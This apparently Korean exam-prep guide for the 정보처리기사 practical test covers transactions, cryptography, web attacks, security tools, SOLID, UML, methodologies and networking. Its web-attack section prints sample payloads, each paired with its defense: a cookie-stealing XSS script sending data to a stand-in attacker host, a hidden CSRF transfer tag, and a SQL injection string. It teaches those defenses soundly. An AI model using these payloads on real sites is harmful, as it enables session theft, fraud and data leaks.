8회차 밖 빈출 보강 — 다음 회차에 나올 것들
이 편은 이 트랙에 수록된 2024~2026년 8회차에는 안 나왔지만, 다른 회차에 자주 나왔거나 출제 확률이 높은 이론 주제를 모은 것이다. 앞의 05편이 "수록 기출에 실제로 나온 것"이라면, 이 편은 "재출제 대비 커버리지"다. 실기 이론은 절반이 재출제·변형이고 매회 오랜만에 재등장하는 주제가 1~3개 나오므로(2026-1의 ISMS는 4년 만, 워터링홀도 4년 만 재등장), 여기 있는 것들도 언제든 나올 수 있다.
05편과 같은 방식으로 개념 → 워크드 예제 → 함정 → 표로 두껍게 다룬다. 우선순위는 정처기 감자·나무위키의 이론 출제확률 분석 기준 — ★는 80%+ 고빈출.
1. ★ 트랜잭션 — ACID와 회복·병행제어
DB 과목 최고 빈출인데 8회차엔 안 나왔다. 다음 회차 1순위 후보다.
1.1 트랜잭션이란, 그리고 왜 ACID인가
트랜잭션(Transaction) 은 "논리적으로 하나로 묶여야 하는 작업의 단위"다. 대표 예가 계좌 이체 — "A에서 1만 원 빼기"와 "B에 1만 원 넣기"는 둘 다 되거나 둘 다 안 돼야 한다. 한쪽만 되면 돈이 사라지거나 복사된다. 이 "안전하게 묶는" 성질 4가지가 ACID다.
| 특성 | 뜻 | 이체 예로 보면 | 결정 키워드 |
|---|---|---|---|
| 원자성(Atomicity) | 전부 반영 or 전부 취소 | 출금만 되고 입금 실패면 롤백해 출금도 취소 | "부분 완료 없음", "all-or-nothing" |
| 일관성(Consistency) | 실행 전후 무결성 제약 유지 | 이체 전후 두 계좌 잔액 합이 동일 | "일관된 상태 유지" |
| 격리성(Isolation) | 동시 트랜잭션이 서로 간섭 못 함 | 이체 중간 잔액을 다른 거래가 못 봄 | "고립", "병행 수행 격리" |
| 지속성(Durability) | 완료 결과는 장애에도 영구 보존 | 커밋 후엔 정전이 나도 이체 유지 | "영속성", "Commit 후 보존" |
앞글자 A-C-I-D. 지문이 "완료되면 절대 사라지지 않는다"면 지속성, "중간까지만 반영되는 일은 없다"면 원자성, "동시에 실행돼도 따로 한 것 같다"면 격리성이다.
1.2 회복(Recovery) — 장애가 나면 어떻게 되돌리나
DB는 장애(정전·크래시)에 대비해 모든 변경을 로그에 먼저 적는다. 회복은 이 로그로 "완료된 건 살리고, 미완료는 지우는" 것이다.
- REDO (재실행) — 로그에 Commit이 찍혔지만 디스크 반영이 확실치 않은 트랜잭션을 로그대로 다시 실행해 살린다.
- UNDO (취소) — Commit 없이 중단된 트랜잭션의 변경을 로그 역순으로 되돌린다.
워크드 예제. 정전 순간 트랜잭션 상태가 이랬다면:
- T1: 시작 → 변경 → Commit 완료 → (반영 불확실) ⇒ REDO로 살림
- T2: 시작 → 변경 → (Commit 전에 정전) ⇒ UNDO로 되돌림
- 즉시 갱신 vs 지연 갱신 — 변경을 커밋 전에 디스크에 바로 쓰면(즉시) 회복에 REDO·UNDO 둘 다 필요, 커밋까지 로그에만 모아 두면(지연) REDO만 필요.
- 체크포인트(Checkpoint) — 주기적으로 "여기까지는 안전하게 반영됨"을 기록 → 회복 시 체크포인트 이후만 처리하면 되니 빠르다.
1.3 병행제어(Concurrency Control) — 동시 실행의 함정
여러 트랜잭션이 동시에 같은 데이터를 건드리면 격리성이 깨진다. 대표 이상 현상:
- 갱신 손실(Lost Update) — 두 트랜잭션이 같은 값을 읽고 각자 갱신 → 한쪽 갱신이 덮여 사라짐.
- 오손 읽기(Dirty Read) — 아직 커밋 안 된(롤백될 수도 있는) 값을 다른 트랜잭션이 읽음.
- 반복 불가능 읽기(Non-repeatable Read) — 같은 행을 두 번 읽었는데 중간에 남이 바꿔 값이 다름.
- 팬텀(Phantom) — 같은 조건으로 두 번 조회했는데 남이 새 행을 끼워 넣어 결과 행 수가 달라짐.
해결 기법:
- 로킹(Locking) — 접근 전에 잠금을 건다. 공유 락(S, 읽기용, 여럿 동시 가능) · 배타 락(X, 쓰기용, 혼자만).
- 2단계 로킹(2PL) — 락을 늘리기만 하는 확장 단계 → 줄이기만 하는 수축 단계로 분리.
직렬성(serializability)은 보장하지만 교착상태(Deadlock) 가 생길 수 있다.
교착 예제: T1이 A에 락 걸고 B를 기다리는데, T2가 B에 락 걸고 A를 기다리면 둘 다 영원히 대기. (교착 4조건 = 상호배제·점유대기·비선점·환형대기 — OS의 데드락과 같은 개념.)
- 타임스탬프 순서 — 트랜잭션에 시간표를 부여해 순서를 강제. 교착 없음(대신 롤백 증가).
- 격리 수준(Isolation Level) — 성능과 안전의 트레이드오프로 4단계: READ UNCOMMITTED < READ COMMITTED < REPEATABLE READ < SERIALIZABLE (위로 갈수록 안전·느림).
꼬리질문 대비 — "2PL이 직렬성은 보장하는데 왜 교착이 생기나?"(락 순서를 강제하지 않으므로). "낙관적 병행제어?"(충돌이 드물다고 보고 커밋 시점에만 검사).
2. ★ 암호 알고리즘 — 대칭 vs 비대칭 vs 해시
8회차엔 AES(대칭)·해시함수 정의만 나왔다. 종류 매칭·대표 알고리즘은 미출제 = 후보.
2.1 세 갈래를 왜 나누나
- 대칭키 — 암호화·복호화에 같은 키. 빠르지만 키를 어떻게 안전하게 나눠 갖나(키 분배)가 숙제.
- 비대칭키(공개키) — 공개키·개인키 쌍. 공개키로 잠그면 개인키로만 열림(그 반대도). 느리지만 키 분배 문제를 해결하고 전자서명이 가능.
- 해시 — 키 없이 임의 길이 → 고정 길이, 복원 불가. 무결성 검증용.
| 구분 | 키 | 특징 | 대표 알고리즘 |
|---|---|---|---|
| 대칭키 | 암·복호화 같은 키 | 빠름, 키 분배 문제 | DES·3DES·AES·SEED·ARIA·IDEA / 스트림: RC4 |
| 비대칭키 | 공개키·개인키 쌍 | 느림, 키 분배 해결·서명 가능 | RSA(소인수분해)·ECC(타원곡선)·디피-헬만(키교환)·ElGamal·DSA |
| 해시 | 없음(일방향) | 복원 불가, 무결성 | MD5·SHA-256·HMAC |
- 대칭키 세부 — 블록 암호(DES·AES·SEED·ARIA, 고정 블록 단위) vs 스트림 암호(RC4·LFSR, 비트/바이트 단위). AES는 128비트 블록 + 키 128/192/256.
- 비대칭키 세부 — RSA는 큰 수 소인수분해의 어려움, ECC는 타원곡선(짧은 키로 같은 안전성 → 모바일에 유리), 디피-헬만은 키 교환 전용(데이터 암호화는 안 함).
2.2 전자서명 — 해시 + 비대칭키의 결합
전자서명은 "이 문서를 내가 썼고 안 바뀌었다"를 증명한다. 흐름:
- 핵심: 개인키로 서명(나만 할 수 있음 → 인증·부인방지), 공개키로 검증(누구나 확인), 해시 비교(변조 감지 → 무결성). 단, 서명 자체는 기밀성은 주지 않는다(원문이 그대로 감).
- 하이브리드(SSL/TLS) — 비대칭키는 느리니 키 교환에만 쓰고, 실제 데이터는 그때 나눈 대칭키로 빠르게 암호화한다. "느린 비대칭 + 빠른 대칭"의 조합.
- PKI(공개키 기반구조) — 공개키가 진짜 그 사람 것인지 CA(인증기관) 가 발급한 인증서로 보증. 인증서·CA·CRL(폐기 목록)이 세트.
결정 키워드 — "암복호화 키가 같다" 대칭 / "공개·개인 쌍, 서명 가능" 비대칭 / "복원 불가, 고정 길이" 해시 / "개인키로 암호화" 전자서명.
3. ★ 웹 공격 3종 + 시큐어 코딩
8회차엔 세션하이재킹·워터링홀 등은 나왔지만 XSS·CSRF·SQL 인젝션은 미출제. 소프트웨어 개발 보안의 최빈출 3종이라 강력 후보다. 각각을 코드로 보면 확실히 구분된다.
① XSS (Cross-Site Scripting) — 입력창·게시글에 악성 스크립트를 심어, 그 글을 보는 다른 사용자의 브라우저에서 실행시켜 쿠키·세션을 탈취.
게시글 내용: <script>location='http://attacker/?c='+document.cookie</script>
→ 이 글을 연 사용자의 쿠키가 공격자에게 전송됨
- 3종: 저장형(Stored)(서버 DB에 저장돼 두고두고), 반사형(Reflected)(URL 파라미터로 즉시 반사), DOM 기반(서버 안 거치고 브라우저 JS가 조작).
- 대응: 출력 인코딩(
<를<로 → 스크립트로 실행 안 됨), 입력 검증.
② CSRF (Cross-Site Request Forgery) — 로그인된 사용자를 속여, 사용자 권한으로 위조 요청을 보내게 함. 사용자는 자기가 요청한 줄 모른다.
공격자 페이지에 숨긴 태그:
<img src="http://bank/transfer?to=attacker&amount=1000000">
→ 은행에 로그인된 피해자가 이 페이지를 열면 자동 이체 요청이 전송됨
- 대응: CSRF 토큰(정상 폼에만 심는 난수), Referer 검증, 재인증.
③ SQL 인젝션 — 입력값에 SQL을 섞어 넣어 쿼리 의미를 바꿈.
입력 id: ' OR '1'='1
→ SELECT * FROM users WHERE id='' OR '1'='1' -- 조건이 항상 참 → 전체 유출
- 대응: 프리페어드 스테이트먼트(파라미터 바인딩) — 입력을 코드가 아닌 데이터로만 취급.
함정 박스 — XSS vs CSRF. XSS는 "스크립트를 실행"시키는 것(피해자 브라우저에서 코드 실행), CSRF는 "정상 요청을 위조"하는 것(피해자 권한으로 서버에 요청). 노리는 지점이 다르다.
3.1 악성코드·공격 유형 분류 (매칭형 단골)
| 그룹 | 종류 | 결정 키워드 |
|---|---|---|
| 악성코드 | 바이러스 | 숙주 필요 + 자가복제 |
| 웜(Worm) | 숙주 불필요 + 자가복제 + 네트워크 전파 | |
| 트로이 목마 | 자가복제 없음 + 정상 프로그램 위장 | |
| 사회공학 | 피싱 / 파밍 / 스미싱 / 큐싱 | 가짜 사이트 / DNS 조작 / SMS / QR코드 |
| 스푸핑 | IP / ARP / DNS 스푸핑 | 각 주소·응답 위조 |
| DoS/DDoS | 랜드 / 티어드롭 / 죽음의 핑 | 출발=목적지 / 단편 오프셋 조작 / 초대형 ICMP |
악성코드 3종은 자가복제 여부 + 숙주 필요 여부로 갈린다. 바이러스(숙주○·복제○), 웜(숙주✕· 복제○·네트워크), 트로이목마(복제✕·위장). 피싱 계열은 유도 수단(사이트/DNS/문자/QR)이 결정어.
4. ★ 보안 솔루션 — 방화벽·탐지·통합
8회차엔 접근통제(MAC/DAC/RBAC)만 나왔다. 방화벽 종류·IDS/IPS/WAF 계열이 최빈출 후보.
4.1 방화벽 (Firewall)
내·외부 트래픽을 정책으로 허용/차단하는 첫 관문. 동작 방식으로 발전해 왔다:
- 패킷 필터링 — 3·4계층 헤더(IP·포트)만 보고 판단. 빠르지만 내용은 못 봄.
- 스테이트풀 인스펙션 — 연결 상태(세션)를 추적해 정상 흐름인지 판단.
- 애플리케이션 게이트웨이(프록시) — 7계층 내용까지 검사. 가장 정밀, 가장 느림.
구축 구조 — 스크리닝 라우터 → 배스천 호스트(요새 역할 단일 지점) → 듀얼 홈드(네트워크 카드 2개로 내외부 분리) → 스크린드 서브넷(DMZ): 내부망과 외부망 사이의 완충 지대로, 웹 서버 등 외부 공개 서버를 여기 둔다.
4.2 탐지·차단·관제 계열
| 약어 | 이름 | 역할 |
|---|---|---|
| IDS | 침입 탐지 | 탐지·경고만 (오용 탐지=시그니처 매칭 / 이상 탐지=정상 행위와의 편차) |
| IPS | 침입 방지 | 탐지 + 실시간 차단 |
| WAF | 웹 방화벽 | 웹 공격(SQLi·XSS) 특화 차단 |
| UTM | 통합 위협 관리 | 방화벽·IDS·백신 등을 하나로 통합 |
| NAC | 네트워크 접근 제어 | 단말 인증·정책 위반 단말 격리 |
| DLP | 정보 유출 방지 | 기밀 데이터 외부 반출 차단 |
| SIEM / ESM | 보안 정보·이벤트 관리 | 로그 통합 수집·분석·관제 |
함정 박스 — IDS vs IPS. 둘 다 침입을 알아채지만 IDS는 경고만, IPS는 차단까지. "탐지"와 "방지(차단)"라는 이름 그대로. 오용 탐지(알려진 패턴)와 이상 탐지(비정상 행위)의 구분도 단골.
4.3 인증 프레임워크
- 3A — 인증(Authentication, 누구인가) · 인가(Authorization, 무엇을 할 수 있나) · 계정관리(Accounting, 무엇을 했나 로깅).
- Zero Trust — "절대 신뢰하지 않고 항상 검증". 내부망이라도 믿지 않고 매 접근을 검증하는 모델.
5. ★ 객체지향 설계 원칙 SOLID
앱 설계 최빈출인데 8회차 미출제. 5개 원칙의 이름·정의 매칭이 전형이다.
| 약어 | 원칙 | 한 줄 | 예시 |
|---|---|---|---|
| S | 단일 책임(SRP) | 클래스는 하나의 책임(변경 이유) 만 | 보고서 '내용'과 '출력'을 한 클래스에 두지 말 것 |
| O | 개방-폐쇄(OCP) | 확장에는 열려, 수정에는 닫혀 | 새 도형 추가 시 기존 코드 수정 없이 클래스만 추가 |
| L | 리스코프 치환(LSP) | 자식은 부모를 대체 가능 | "정사각형 extends 직사각형"이 깨는 대표 반례 |
| I | 인터페이스 분리(ISP) | 안 쓰는 메서드 의존 강요 금지 | 거대 인터페이스를 역할별로 쪼갬 |
| D | 의존 역전(DIP) | 구체가 아닌 추상에 의존 | 상위 모듈이 구현체가 아닌 인터페이스에 의존 |
고난도 예시 — LSP 위반의 고전. "정사각형 extends 직사각형"이 왜 LSP를 깨나:
Rectangle r = new Square(); r.setWidth(5); r.setHeight(4); // 직사각형은 넓이 20을 기대 // 그런데 Square는 setHeight가 width도 4로 바꿔 넓이 16 → 부모 계약 위반자식(Square)이 부모(Rectangle)를 대체했을 때 기대가 깨지면 LSP 위반이다. "is-a"처럼 보여도 행위 계약이 다르면 상속하면 안 된다.
꼬리질문 대비 — "OCP를 어떻게 지키나?"(추상화·다형성으로 확장점을 열어 둠). "DIP와 의존성 주입(DI)의 관계?"(DI는 DIP를 실현하는 구체 기법).
6. 럼바우 분석 + UML 다이어그램
6.1 럼바우(Rumbaugh) 3대 모델 — 객체지향 분석 최빈출
객체지향 분석(OOA)에서 시스템을 세 관점으로 모델링한다:
| 모델 | 표현 도구 | 무엇을 보나 |
|---|---|---|
| 객체 모델(Object) | ER 다이어그램(클래스도) | 정적 구조 — 객체·속성·관계 |
| 동적 모델(Dynamic) | 상태 다이어그램 | 시간 흐름에 따른 상태 변화·이벤트 |
| 기능 모델(Functional) | 자료 흐름도(DFD) | 데이터의 처리·변환 과정 |
"객·동·기"로 외운다. 표현 도구 매칭이 함정 — 객체 모델=ER/클래스도, 동적=상태도, 기능=DFD. 다른 방법론: 부치(Booch), 야콥슨(Jacobson, 유스케이스 중심), 코드-요돈.
6.2 UML 다이어그램 — 구조 vs 행위
- 구조(정적) 다이어그램 — 클래스, 객체, 컴포넌트, 배치(Deployment), 패키지(2025-3 기출), 복합체 구조.
- 행위(동적) 다이어그램 — 유스케이스, 시퀀스(시간 순 메시지), 커뮤니케이션, 상태, 활동(플로차트형), 타이밍.
- 유스케이스 관계 — 연관(액터-유스케이스) / 포함(«include», 항상 실행되는 공통 기능) / 확장(«extend», 조건부 선택 기능) / 일반화.
함정 박스 — include vs extend. 포함은 "반드시 수행"(로그인 시 항상 인증), 확장은 "조건부 수행"(결제 시 선택적으로 쿠폰 적용). 화살표 방향까지 물어보니 주의.
7. 개발방법론 + SDLC + 아키텍처 패턴
7.1 SDLC 모델
- 폭포수(Waterfall) — 요구→설계→구현→테스트를 순차적으로, 단계 완료 후 다음. 가장 고전, 변경에 취약.
- 프로토타입 — 시제품을 먼저 만들어 요구를 확인·수정.
- 나선형(Spiral) — 계획 → 위험 분석 → 개발 → 평가를 반복. 위험 관리가 핵심.
- 반복적/점증적(Iterative/Incremental) — 기능을 나눠 반복하며 조금씩 완성.
7.2 애자일(Agile)
문서보다 동작하는 SW, 계획보다 변화 대응을 중시하는 경량 방법론.
- 스크럼(Scrum) — 짧은 스프린트(2~4주) 반복. 산출물: 제품 백로그(요구 목록)·스프린트 백로그·번다운 차트(남은 작업량 그래프). 이벤트: 스프린트 계획·데일리 스크럼(매일 15분)· 리뷰·회고. 역할: 제품 책임자(PO)·스크럼 마스터·개발팀.
- XP(익스트림 프로그래밍) — 5가치: 용기·단순성·의사소통·피드백·존중. 실천법: 페어 프로그래밍, 테스트 주도 개발(TDD), 리팩토링, 지속적 통합(CI), 공동 코드 소유, 소규모 릴리스.
- 칸반(작업 시각화·WIP 제한), 린(낭비 제거).
7.3 소프트웨어 아키텍처 패턴
| 패턴 | 핵심 | 예 |
|---|---|---|
| 레이어드(계층화) | 관심사를 계층으로 분리 | 표현-비즈니스-데이터 3계층 |
| 클라이언트-서버 | 요청/응답으로 역할 분리 | 웹 브라우저-웹 서버 |
| 파이프-필터 | 데이터를 필터로 순차 처리 | 컴파일러, 쉘 파이프라인 |
| MVC | 모델-뷰-컨트롤러 분리 | 웹 프레임워크 |
| 마스터-슬레이브 | 주가 부에게 작업 분배·결과 취합 | 병렬 연산, DB 복제 |
| 브로커 | 분산 컴포넌트를 중계자가 연결 | 메시지 브로커 |
| 피어투피어(P2P) | 노드가 대등하게 클라이언트+서버 | 파일 공유 |
꼬리질문 대비 — "레이어드의 단점?"(계층 통과 오버헤드). "MVC에서 컨트롤러의 역할?"(입력을 받아 모델을 갱신하고 뷰를 선택).
8. 형상관리 + 신기술 용어
8.1 형상관리(SCM, 저빈출이지만 0~1문제)
소프트웨어의 변경을 체계적으로 관리하는 활동. "누가·언제·무엇을·왜 바꿨나"를 추적한다.
- 4단계: 형상 식별(관리 대상 지정) → 통제(변경 요청·승인) → 감사(변경이 제대로 됐는지 검증) → 기록(이력 문서화).
- 베이스라인(Baseline) — 합의된 기준선. 이후 변경은 이 기준에서 통제한다.
- 도구: Git(분산), SVN·CVS(중앙집중).
8.2 신기술 용어 (매회 0~2개 신출 — 최대 감점 구간)
범위가 무한해 다 못 외운다. 약어 풀이 + 한 줄 정의 + 지문 키워드 매칭만 훈련한다:
- 컨테이너 — 도커(Docker, 격리 실행 단위), 쿠버네티스(K8s, 컨테이너 오케스트레이션).
- 빅데이터 — 하둡(Hadoop, 분산 저장·처리), 맵리듀스(분산 병렬 처리 모델), NoSQL.
- 클라우드 — IaaS(인프라)/PaaS(플랫폼)/SaaS(소프트웨어) — 빌려 쓰는 범위 차이.
- 아키텍처 — 마이크로서비스(MSA, 작은 서비스로 분해)·서버리스·데브옵스(개발+운영 통합).
- 기타 — 블록체인(분산 원장), 디지털 트윈(현실을 가상에 복제), 메타버스, 양자 암호, RPA(업무 자동화), IoT/M2M(사물 통신), 엣지 컴퓨팅(현장 처리).
9. ★ 네트워크 기초 — OSI 7계층·TCP/UDP
05편은 서브넷·라우팅 계산 위주였다. 계층 매칭·TCP/UDP 비교는 미출제라 후보다.
9.1 OSI 7계층 — 왜 나누고, 어떻게 매칭하나
통신을 7개 계층으로 분업해, 각 계층이 자기 일만 하고 위아래로 넘긴다(모듈화). 데이터가 내려갈 때 각 계층이 헤더를 붙이는 걸 캡슐화, 올라갈 때 떼는 걸 역캡슐화라 한다.
| 계층 | 이름 | PDU | 기능 | 대표 프로토콜·장비 |
|---|---|---|---|---|
| 7 | 응용(Application) | 데이터 | 사용자 서비스 | HTTP·FTP·SMTP·DNS |
| 6 | 표현(Presentation) | 데이터 | 암호화·압축·인코딩 | JPEG·ASCII |
| 5 | 세션(Session) | 데이터 | 연결 설정·동기화 | — |
| 4 | 전송(Transport) | 세그먼트 | 종단 간 신뢰성·포트 | TCP·UDP |
| 3 | 네트워크(Network) | 패킷 | 경로 결정(라우팅) | IP · 라우터 |
| 2 | 데이터링크(Data Link) | 프레임 | 인접 노드 전송·오류/흐름 제어 | MAC · 스위치·브리지 |
| 1 | 물리(Physical) | 비트 | 전기 신호 | 리피터·허브 |
암기: "애·표·세·전·네·데·물"(위→아래). 계층 ↔ 프로토콜 ↔ 장비 매칭이 핵심 — 라우터=3계층(IP), 스위치=2계층(MAC), TCP/UDP=4계층, 암호화=6계층(표현).
고난도 예시 — 캡슐화 추적. "HTTP 요청이 브라우저에서 나가 서버에 닿을 때 각 계층이 무엇을 붙이나?"
7 응용: HTTP 메시지(데이터) 4 전송: + TCP 헤더(포트·시퀀스) → 세그먼트 3 네트워크: + IP 헤더(출발/목적 IP) → 패킷 2 데이터링크: + MAC 헤더 + 트레일러(FCS) → 프레임 1 물리: 비트 스트림으로 전송내려가며 헤더를 붙이고(캡슐화), 수신 측은 올라가며 떼며(역캡슐화) 해당 계층 정보를 읽는다. "IP는 몇 계층?"(3), "포트는 몇 계층?"(4), "FCS로 오류 검출은?"(2) 식으로 물어본다.
9.2 TCP vs UDP — 신뢰성이냐 속도냐
| TCP | UDP | |
|---|---|---|
| 연결 | 연결형 (3-way handshake로 수립) | 비연결형 (그냥 보냄) |
| 신뢰성 | 순서 보장·재전송·흐름/혼잡 제어 | 없음 (빠름·가벼움) |
| 용도 | 웹·메일·파일 전송(정확성) | 스트리밍·DNS·VoIP·게임(실시간성) |
- 3-way handshake(연결) — SYN → SYN/ACK → ACK. (이 절차를 악용해 ACK를 안 보내는 게 SYN 플러딩, 05편 §7.1.)
- 4-way handshake(해제) — FIN → ACK → FIN → ACK.
- 흐름 제어(수신자가 감당할 속도로, 슬라이딩 윈도) vs 혼잡 제어(네트워크 혼잡 시 속도 조절)를 구분.
- IPv4(32비트) vs IPv6(128비트) — 주소 고갈 해결. 전환 기술: 듀얼 스택·터널링·주소 변환.
꼬리질문 대비 — "TCP가 신뢰성을 보장하는 방법?"(순서 번호·ACK·재전송·체크섬). "3-way를 왜 3번 하나?"(양방향 연결 준비를 서로 확인하기 위해).
10. 이 편 활용법
- 1~5번(★)을 최우선 — 트랜잭션·암호종류·웹공격·보안솔루션·SOLID은 고빈출인데 수록 8회차에 없어서 '구멍'이다. 여기가 다음 회차에서 점수 새는 지점이다.
- 6~7·9번은 중간 빈도 — 럼바우 객동기, XP 5가치, 아키텍처 패턴 이름, OSI 계층 매칭은 매칭형으로 자주 나온다.
- 8번은 약어 풀이 중심 — 형상관리 4단계, 신기술은 지문 키워드 매칭만.
- 05편(수록 기출 이론)과 이 편을 합치면 실기 이론 출제 범위의 대부분을 덮는다.
출처
- 출제확률·빈도: 정처기 감자(edugamja) 이론 압축 공부법·이론 난이도 분석, 나무위키 정보처리기사/출제경향
- 정의 교차 확인: 시나공·이기적 실기 요약, SK쉴더스/보안 자료(XSS·CSRF·SQLi), 학원 실기 이론 정리 블로그
- 이 편은 수록 8회차 밖 주제라 "기출 실측"이 아니라 재출제·출제 가능성 대비임을 유의